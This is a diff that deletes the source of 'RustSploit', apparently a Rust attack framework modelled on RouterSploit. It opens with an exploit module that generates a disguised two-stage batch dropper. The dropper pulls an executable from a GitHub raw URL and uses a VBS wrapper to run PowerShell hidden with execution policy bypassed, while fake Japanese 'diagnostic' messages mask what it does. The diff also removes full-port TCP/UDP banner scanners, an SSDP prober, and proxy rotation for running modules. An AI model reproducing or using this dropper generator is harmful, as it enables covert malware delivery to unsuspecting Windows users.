-    echo Set shell = CreateObject("WScript.Shell"^)
-    echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""{{OUTFILE}}""", 0, False
-    echo ^) ^> "%%~dp0launch_hidden.vbs"
-    echo timeout /t 1 ^>nul
-    echo echo [*] スクリプト実行中...
-    echo cscript //nologo "%%~dp0launch_hidden.vbs"
-    echo echo [*] 補助診断完了。
-) > "%%stage2%%"
-
-:: Random delay before running stage 2
-set /a rdelay=(%%RANDOM%% %% 5) + 2
-echo [INFO] stage2.bat を %%rdelay%% 秒後に実行します...
-timeout /t %%rdelay%% >nul
-
-:: Run stage2
-call "%%stage2%%"
-
-echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
-pause
-exit
-"#;
-
-    tpl.replace("{{URL}}", url)
-        .replace("{{OUTFILE}}", ps1_name)
-}
-
-/// Public entry point for the exploit dispatcher
-pub async fn run(_target: &str) -> Result<()> {
-    // === Gather inputs ====================================================
-    let out_bat  = prompt("[+] Output BAT filename        : ")?;
-    let raw_url  = prompt("[+] GitHub raw .EXE URL         : ")?;
-    let ps1_name = prompt("[+] Disguised PowerShell name   : ")?;
-
-    // === Generate script ===================================================
-    let script = build_script(&raw_url, &ps1_name);
-    fs::write(&out_bat, script)
-        .with_context(|| format!("Could not write {}", out_bat))?;
-
-    println!("\n[+] Batch script saved to: {out_bat}");
-    Ok(())
-}

src/modules/exploits/sample_exploit.rs

@@ -1,23 +0,0 @@
-use anyhow::{Result, Context};
-use reqwest;
-
-/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
-pub async fn run(target: &str) -> Result<()> {
-    println!("[*] Running sample_exploit against target: {}", target);
-
-    let url = format!("http://{}/vulnerable_endpoint", target);
-    let resp = reqwest::get(&url)
-        .await
-        .context("Failed to send request")?
-        .text()
-        .await
-        .context("Failed to read response")?;
-
-    if resp.contains("Vulnerable!") {
-        println!("[+] Target is vulnerable!");
-    } else {
-        println!("[-] Target does not appear to be vulnerable.");
-    }
-
-    Ok(())
-}

src/modules/mod.rs

@@ -1,3 +0,0 @@
-pub mod exploits;
-pub mod scanners;
-pub mod creds;

src/modules/scanners/mod.rs

@@ -1,3 +0,0 @@
-pub mod sample_scanner;
-pub mod ssdp_msearch;
-pub mod port_scanner;

src/modules/scanners/port_scanner.rs

@@ -1,190 +0,0 @@
-use anyhow::Result;
-use std::{
-    fs::File,
-    io::{self, Write},
-    net::SocketAddr,
-    sync::Arc,
-};
-use tokio::{
-    net::{TcpStream, UdpSocket},
-    sync::Semaphore,
-    time::{timeout, Duration},
-};
-
-/// Public interface to prompt user and run the scan
-pub async fn run_interactive(target: &str) -> Result<()> {
-    let settings = prompt_settings()?;
-    run(
-        target,
-        settings.concurrency,
-        settings.timeout_secs,
-        settings.show_only_open,
-        settings.verbose,
-        settings.scan_udp_enabled,
-        &settings.output_file,
-    )
-    .await
-}
-
-pub struct ScanSettings {
-    pub concurrency: usize,
-    pub timeout_secs: u64,
-    pub show_only_open: bool,
-    pub verbose: bool,
-    pub scan_udp_enabled: bool,
-    pub output_file: String,
-}
-
-pub fn prompt_settings() -> Result<ScanSettings> {
-    Ok(ScanSettings {
-        concurrency: prompt_usize("Concurrency: ")?,
-        timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
-        show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
-        verbose: prompt_bool("Verbose output? (y/n): ")?,
-        scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
-        output_file: prompt("Output filename: ")?,
-    })
-}
-
-/// Main scanner logic
-pub async fn run(
-    target: &str,
-    concurrency: usize,
-    timeout_secs: u64,
-    show_only_open: bool,
-    verbose: bool,
-    scan_udp_enabled: bool,
-    output_file: &str,
-) -> Result<()> {
-    let semaphore = Arc::new(Semaphore::new(concurrency));
-    let mut tasks = vec![];
-    let mut file = File::create(output_file)?;
-    writeln!(file, "Scan Results for {}\n", target)?;
-
-    println!("[*] Starting TCP scan...");
-    for port in 1..=65535 {
-        let permit = semaphore.clone().acquire_owned().await?;
-        let target = target.to_string();
-        let mut file = file.try_clone()?;
-
-        let handle = tokio::spawn(async move {
-            let _permit = permit;
-            if let Some((status, banner)) = scan_tcp(&target, port, timeout_secs).await {
-                let line = format!("[TCP] {}:{} => {}", target, port, status);
-                if status == "OPEN" || !show_only_open {
-                    if !banner.is_empty() {
-                        writeln!(file, "{} | Banner: {}", line, banner).ok();
-                        if verbose {
-                            println!("{} | Banner: {}", line, banner);
-                        }
-                    } else {
-                        writeln!(file, "{}", line).ok();
-                        if verbose {
-                            println!("{}", line);
-                        }
-                    }
-                }
-            }
-        });
-        tasks.push(handle);
-    }
-
-    if scan_udp_enabled {
-        println!("[*] Starting UDP scan...");
-        for port in 1..=65535 {
-            let permit = semaphore.clone().acquire_owned().await?;
-            let target = target.to_string();
-            let mut file = file.try_clone()?;
-
-            let handle = tokio::spawn(async move {
-                let _permit = permit;
-                if let Some(status) = scan_udp(&target, port, timeout_secs).await {
-                    let line = format!("[UDP] {}:{} => {}", target, port, status);
-                    if status == "OPEN" || !show_only_open {
-                        writeln!(file, "{}", line).ok();
-                        if verbose {
-                            println!("{}", line);
-                        }
-                    }
-                }
-            });
-            tasks.push(handle);
-        }
-    }
-
-    for task in tasks {
-        let _ = task.await;
-    }
-
-    println!("[*] Scan complete. Results saved to {}", output_file);
-    Ok(())
-}
-
-/// TCP banner grabbing scanner
-async fn scan_tcp(ip: &str, port: u16, timeout_secs: u64) -> Option<(String, String)> {
-    let addr = format!("{}:{}", ip, port);
-    match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await {
-        Ok(Ok(stream)) => {
-            let mut buf = [0; 1024];
-            match timeout(Duration::from_secs(2), stream.readable()).await {
-                Ok(Ok(())) => match stream.try_read(&mut buf) {
-                    Ok(n) if n > 0 => {
-                        let banner = String::from_utf8_lossy(&buf[..n]).to_string();
-                        Some(("OPEN".into(), banner))
-                    }
-                    _ => Some(("OPEN".into(), "".into())),
-                },
-                _ => Some(("OPEN".into(), "".into())),
-            }
-        }
-        Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
-        Err(_) => Some(("TIMEOUT".into(), "".into())),
-    }
-}
-
-/// UDP port scanner (null packet, timeout-based)
-async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
-    let local = "0.0.0.0:0".parse::<SocketAddr>().unwrap();
-    let remote = format!("{}:{}", ip, port).parse::<SocketAddr>().ok()?;
-    let socket = UdpSocket::bind(local).await.ok()?;
-
-    let _ = socket.send_to(b"\x00", remote).await;
-    let mut buf = [0u8; 512];
-
-    match timeout(Duration::from_secs(timeout_secs), socket.recv_from(&mut buf)).await {
-        Ok(Ok((_n, _))) => Some("OPEN".into()),
-        _ => None,
-    }
-}
-
-/// Prompt for string
-fn prompt(message: &str) -> Result<String> {
-    print!("{}", message);
-    io::stdout().flush()?;
-    let mut buf = String::new();
-    io::stdin().read_line(&mut buf)?;
-    Ok(buf.trim().to_string())
-}
-
-/// Prompt for boolean yes/no
-fn prompt_bool(message: &str) -> Result<bool> {
-    loop {
-        let input = prompt(message)?;
-        match input.to_lowercase().as_str() {
-            "y" | "yes" => return Ok(true),
-            "n" | "no" => return Ok(false),
-            _ => println!("Please enter 'y' or 'n'."),
-        }
-    }
-}
-
-/// Prompt for number
-fn prompt_usize(message: &str) -> Result<usize> {
-    loop {
-        let input = prompt(message)?;
-        if let Ok(n) = input.parse::<usize>() {
-            return Ok(n);
-        }
-        println!("Please enter a valid number.");
-    }
-}

src/modules/scanners/sample_scanner.rs

@@ -1,15 +0,0 @@
-use anyhow::{Result, Context};
-use reqwest;
-
-/// A simple scanner that tries an HTTP GET and prints the response code
-pub async fn run(target: &str) -> Result<()> {
-    println!("[*] Running sample_scanner on: {}", target);
-
-    let url = format!("http://{}", target);
-    let resp = reqwest::get(&url)
-        .await
-        .context("Failed to send request")?;
-
-    println!("[*] Status code: {}", resp.status());
-    Ok(())
-}

src/modules/scanners/ssdp_msearch.rs

@@ -1,69 +0,0 @@
-use anyhow::{Result};
-use regex::Regex;
-use std::collections::HashMap;
-use std::net::SocketAddr;
-use tokio::net::UdpSocket;
-use tokio::time::{timeout, Duration};
-
-pub async fn run(target_ip: &str) -> Result<()> {
-    let port = 1900;
-    println!("[*] Sending SSDP M-SEARCH to {}:{}...", target_ip, port);
-
-    let addr = format!("{}:{}", target_ip, port);
-    let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
-    let socket = UdpSocket::bind(local_bind).await?;
-    socket.connect(&addr).await?;
-
-    let request = format!(
-        "M-SEARCH * HTTP/1.1\r\n\
-         HOST: {}:{}\r\n\
-         MAN: \"ssdp:discover\"\r\n\
-         MX: 2\r\n\
-         ST: upnp:rootdevice\r\n\r\n",
-        target_ip, port
-    );
-
-    socket.send(request.as_bytes()).await?;
-
-    let mut buf = vec![0u8; 2048];
-    match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
-        Ok(Ok(size)) => {
-            let response = String::from_utf8_lossy(&buf[..size]);
-            parse_ssdp_response(&response, target_ip, port);
-        }
-        _ => {
-            println!("[-] Target did not respond to M-SEARCH request");
-        }
-    }
-
-    Ok(())
-}
-
-fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
-    let regexps = vec![
-        ("server", r"(?i)Server:\s*(.*?)\r\n"),
-        ("location", r"(?i)Location:\s*(.*?)\r\n"),
-        ("usn", r"(?i)USN:\s*(.*?)\r\n"),
-    ];
-
-    let mut results: HashMap<&str, String> = HashMap::new();
-
-    for (key, pattern) in regexps {
-        if let Ok(re) = Regex::new(pattern) {
-            if let Some(caps) = re.captures(response) {
-                results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
-            } else {
-                results.insert(key, String::from(""));
-            }
-        }
-    }
-
-    println!(
-        "[+] {}:{} | {} | {} | {}",
-        target_ip,
-        port,
-        results.get("server").unwrap_or(&"".to_string()),
-        results.get("location").unwrap_or(&"".to_string()),
-        results.get("usn").unwrap_or(&"".to_string())
-    );
-}

src/shell.rs

@@ -1,217 +0,0 @@
-use crate::commands;
-use crate::utils;
-use anyhow::Result;
-use rand::prelude::*;  // Updated for rand 0.10
-use std::env;
-use std::io::{self, Write};
-use std::collections::HashSet;
-
-/// Simple interactive shell context
-struct ShellContext {
-    current_module: Option<String>,
-    current_target: Option<String>,
-    proxy_list: Vec<String>,
-    proxy_enabled: bool,
-}
-
-impl ShellContext {
-    fn new() -> Self {
-        ShellContext {
-            current_module: None,
-            current_target: None,
-            proxy_list: Vec::new(),
-            proxy_enabled: false,
-        }
-    }
-}
-
-pub async fn interactive_shell() -> Result<()> {
-    println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
-    println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
-
-    let mut ctx = ShellContext::new();
-
-    loop {
-        print!("rsf> ");
-        io::stdout().flush()?;
-
-        let mut input = String::new();
-        io::stdin().read_line(&mut input)?;
-        let input = input.trim();
-
-        if input.is_empty() {
-            continue;
-        }
-
-        match input {
-            "exit" | "quit" => {
-                println!("Exiting...");
-                break;
-            },
-            "help" => {
-                println!("Available commands:");
-                println!("  use <module_path>   - Select a module (e.g. 'use exploits/sample_exploit')");
-                println!("  set target <value>  - Set the target IP/host");
-                println!("  run                 - Run the current module (with proxy retries if enabled)");
-                println!("  modules             - List available modules");
-                println!("  find <keyword>      - Search for a module by keyword");
-                println!("  proxy_load <file>   - Load a list of proxies (http://ip:port, https://ip:port, socks4://ip:port, socks5://ip:port.)");
-                println!("  proxy_on            - Enable proxy usage");
-                println!("  proxy_off           - Disable proxy usage");
-                println!("  show_proxies        - Show loaded proxies & current proxy status");
-                println!("  exit, quit          - Exit the shell");
-            },
-            "modules" => {
-                utils::list_all_modules();
-            },
-            cmd if cmd.starts_with("find ") => {
-                let keyword = cmd.trim_start_matches("find ").trim();
-                if keyword.is_empty() {
-                    println!("Usage: find <keyword>");
-                } else {
-                    utils::find_modules(keyword);
-                }
-            },
-            cmd if cmd.starts_with("proxy_load ") => {
-                let file = cmd.trim_start_matches("proxy_load ").trim();
-                match utils::load_proxies_from_file(file) {
-                    Ok(list) => {
-                        ctx.proxy_list = list;
-                        println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
-                    }
-                    Err(e) => {
-                        println!("Failed to load proxies: {}", e);
-                    }
-                }
-            },
-            "proxy_on" => {
-                ctx.proxy_enabled = true;
-                println!("Proxy usage enabled.");
-            },
-            "proxy_off" => {
-                ctx.proxy_enabled = false;
-                println!("Proxy usage disabled.");
-                clear_proxy_env_vars();
-            },
-            "show_proxies" => {
-                if ctx.proxy_list.is_empty() {
-                    println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
-                } else {
-                    println!("Loaded proxies ({}):", ctx.proxy_list.len());
-                    for p in &ctx.proxy_list {
-                        println!("  {}", p);
-                    }
-                }
-                println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
-            },
-            cmd if cmd.starts_with("use ") => {
-                let module_path = cmd.trim_start_matches("use ").trim();
-                if utils::module_exists(module_path) {
-                    ctx.current_module = Some(module_path.to_string());
-                    println!("Module '{}' selected.", module_path);
-                } else {
-                    println!("Module '{}' not found.", module_path);
-                }
-            },
-            cmd if cmd.starts_with("set ") => {
-                let parts: Vec<&str> = cmd.split_whitespace().collect();
-                if parts.len() >= 3 && parts[1] == "target" {
-                    ctx.current_target = Some(parts[2].to_string());
-                    println!("Target set to {}", parts[2]);
-                } else {
-                    println!("Usage: set target <value>");
-                }
-            },
-            "run" => {
-                if let Some(ref module_path) = ctx.current_module {
-                    if let Some(ref t) = ctx.current_target {
-                        // -----------------------------
-                        // NEW: Proxy Retry Logic
-                        // -----------------------------
-                        if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
-                            let mut tried_proxies = HashSet::new();
-                            let mut success = false;
-
-                            while tried_proxies.len() < ctx.proxy_list.len() {
-                                let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
-                                set_all_proxy_env(&chosen_proxy);
-                                println!("[*] Using proxy: {}", chosen_proxy);
-
-                                println!("Running module '{}' against target '{}'", module_path, t);
-                                match commands::run_module(module_path, t).await {
-                                    Ok(_) => {
-                                        success = true;
-                                        break;
-                                    }
-                                    Err(e) => {
-                                        eprintln!("[!] Module failed with error: {:?}", e);
-                                        eprintln!("    Retrying with a new proxy...");
-                                        tried_proxies.insert(chosen_proxy);
-                                    }
-                                }
-                            }
-
-                            if !success {
-                                println!("[!] All proxies failed. Trying direct connection...");
-                                clear_proxy_env_vars();
-                                if let Err(e) = commands::run_module(module_path, t).await {
-                                    eprintln!("[!] Final direct attempt also failed: {:?}", e);
-                                }
-                            }
-                        } else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
-                            println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
-                            clear_proxy_env_vars();
-                            if let Err(e) = commands::run_module(module_path, t).await {
-                                eprintln!("[!] Module failed: {:?}", e);
-                            }
-                        } else {
-                            clear_proxy_env_vars();
-                            if let Err(e) = commands::run_module(module_path, t).await {
-                                eprintln!("[!] Module failed: {:?}", e);
-                            }
-                        }
-                    } else {
-                        println!("No target set. Use 'set target <value>' first.");
-                    }
-                } else {
-                    println!("No module selected. Use 'use <module>' first.");
-                }
-            },
-            _ => {
-                println!("Unknown command: '{}'. Type 'help' for usage.", input);
-            },
-        }
-    }
-
-    Ok(())
-}
-
-/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
-fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
-    let untried: Vec<&String> = proxy_list.iter()
-        .filter(|p| !tried_proxies.contains(*p))
-        .collect();
-
-    if untried.is_empty() {
-        // Fall back if somehow there's nothing untried
-        let mut rng = rand::rng();
-        let idx = rng.random_range(0..proxy_list.len());
-        return proxy_list[idx].clone();
-    }
-
-    let mut rng = rand::rng();
-    let idx = rng.random_range(0..untried.len());
-    untried[idx].clone()
-}
-
-/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
-fn set_all_proxy_env(proxy: &str) {
-    env::set_var("ALL_PROXY", proxy);
-}
-
-/// Clears environment variables for direct connection
-fn clear_proxy_env_vars() {
-    env::remove_var("ALL_PROXY");
-    env::remove_var("HTTP_PROXY");
-    env::remove_var("HTTPS_PROXY");
-}

src/utils.rs

@@ -1,150 +0,0 @@
-use colored::*;
-use std::fs;
-use std::io::{BufRead, BufReader, Error};
-use std::path::{Path};
-
-/// Maximum folder depth to traverse
-const MAX_DEPTH: usize = 6;
-
-/// Recursively list .rs files up to a certain depth (unchanged)
-fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
-    let mut modules = Vec::new();
-
-    if depth > MAX_DEPTH || !dir.exists() {
-        return modules;
-    }
-
-    if let Ok(entries) = fs::read_dir(dir) {
-        for entry in entries.flatten() {
-            let path = entry.path();
-
-            if path.is_dir() {
-                modules.extend(collect_module_paths(&path, depth + 1));
-            } else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
-                if file_name.ends_with(".rs") && file_name != "mod.rs" {
-                    let relative_path = path
-                        .strip_prefix("src/modules")
-                        .unwrap_or(&path)
-                        .with_extension("")
-                        .to_string_lossy()
-                        .replace('\\', "/"); // For Windows
-                    modules.push(relative_path);
-                }
-            }
-        }
-    }
-
-    modules
-}
-
-/// Dynamically checks if a module path exists at any depth (unchanged)
-pub fn module_exists(module_path: &str) -> bool {
-    let modules = collect_module_paths(Path::new("src/modules"), 0);
-    modules.iter().any(|m| m == module_path)
-}
-
-/// Lists all available modules recursively under src/modules/ (unchanged)
-pub fn list_all_modules() {
-    println!("{}", "Available modules:".bold().underline());
-    let modules = collect_module_paths(Path::new("src/modules"), 0);
-    if modules.is_empty() {
-        println!("{}", "No modules found.".red());
-        return;
-    }
-
-    let mut grouped = std::collections::BTreeMap::new();
-
-    for module in modules {
-        let parts: Vec<&str> = module.split('/').collect();
-        let category = parts.get(0).unwrap_or(&"Other").to_string();
-        grouped
-            .entry(category)
-            .or_insert_with(Vec::new)
-            .push(module.clone());
-    }
-
-    for (category, paths) in grouped {
-        println!("\n{}:", category.blue().bold());
-        for path in paths {
-            println!("  - {}", path.green());
-        }
-    }
-}
-
-/// Finds and displays modules matching a keyword
-pub fn find_modules(keyword: &str) {
-    let keyword_lower = keyword.to_lowercase();
-    let modules = collect_module_paths(Path::new("src/modules"), 0);
-
-    let filtered: Vec<String> = modules
-        .into_iter()
-        .filter(|m| m.to_lowercase().contains(&keyword_lower))
-        .collect();
-
-    if filtered.is_empty() {
-        println!(
-            "{}",
-            format!("No modules found matching '{}'.", keyword).red()
-        );
-        return;
-    }
-
-    println!(
-        "{}",
-        format!("Modules matching '{}':", keyword).bold().underline()
-    );
-
-    let mut grouped = std::collections::BTreeMap::new();
-    for module in filtered {
-        let parts: Vec<&str> = module.split('/').collect();
-        let category = parts.get(0).unwrap_or(&"Other").to_string();
-        grouped
-            .entry(category)
-            .or_insert_with(Vec::new)
-            .push(module.clone());
-    }
-
-    for (category, paths) in grouped {
-        println!("\n{}:", category.blue().bold());
-        for path in paths {
-            println!("  - {}", path.green());
-        }
-    }
-}
-
-
-
-/// Parses a single proxy line (e.g., "1.2.3.4:9050" -> "http://1.2.3.4:9050")
-/// or "socks5://127.0.0.1:9050" -> "socks5://127.0.0.1:9050"
-fn parse_proxy_line(line: &str) -> String {
-    let trimmed = line.trim().to_lowercase();
-    if trimmed.starts_with("http://")
-        || trimmed.starts_with("https://")
-        || trimmed.starts_with("socks4://")
-        || trimmed.starts_with("socks5://")
-    {
-        // User specified a scheme, keep as is (but restore original case if you want).
-        line.to_string()
-    } else {
-        // Default to HTTP if no scheme is provided
-        format!("http://{}", line)
-    }
-}
-
-/// Load proxies from a file, returning lines like:
-/// [ "http://1.2.3.4:8080", "socks4://5.6.7.8:1080", "socks5://..." ] etc.
-pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
-    let file = fs::File::open(filename)?;
-    let reader = BufReader::new(file);
-
-    let mut proxies = Vec::new();
-    for line in reader.lines() {
-        let line = line?.trim().to_string();
-        if !line.is_empty() {
-            let parsed = parse_proxy_line(&line);
-            proxies.push(parsed);
-        }
-    }
-
-    Ok(proxies)
-}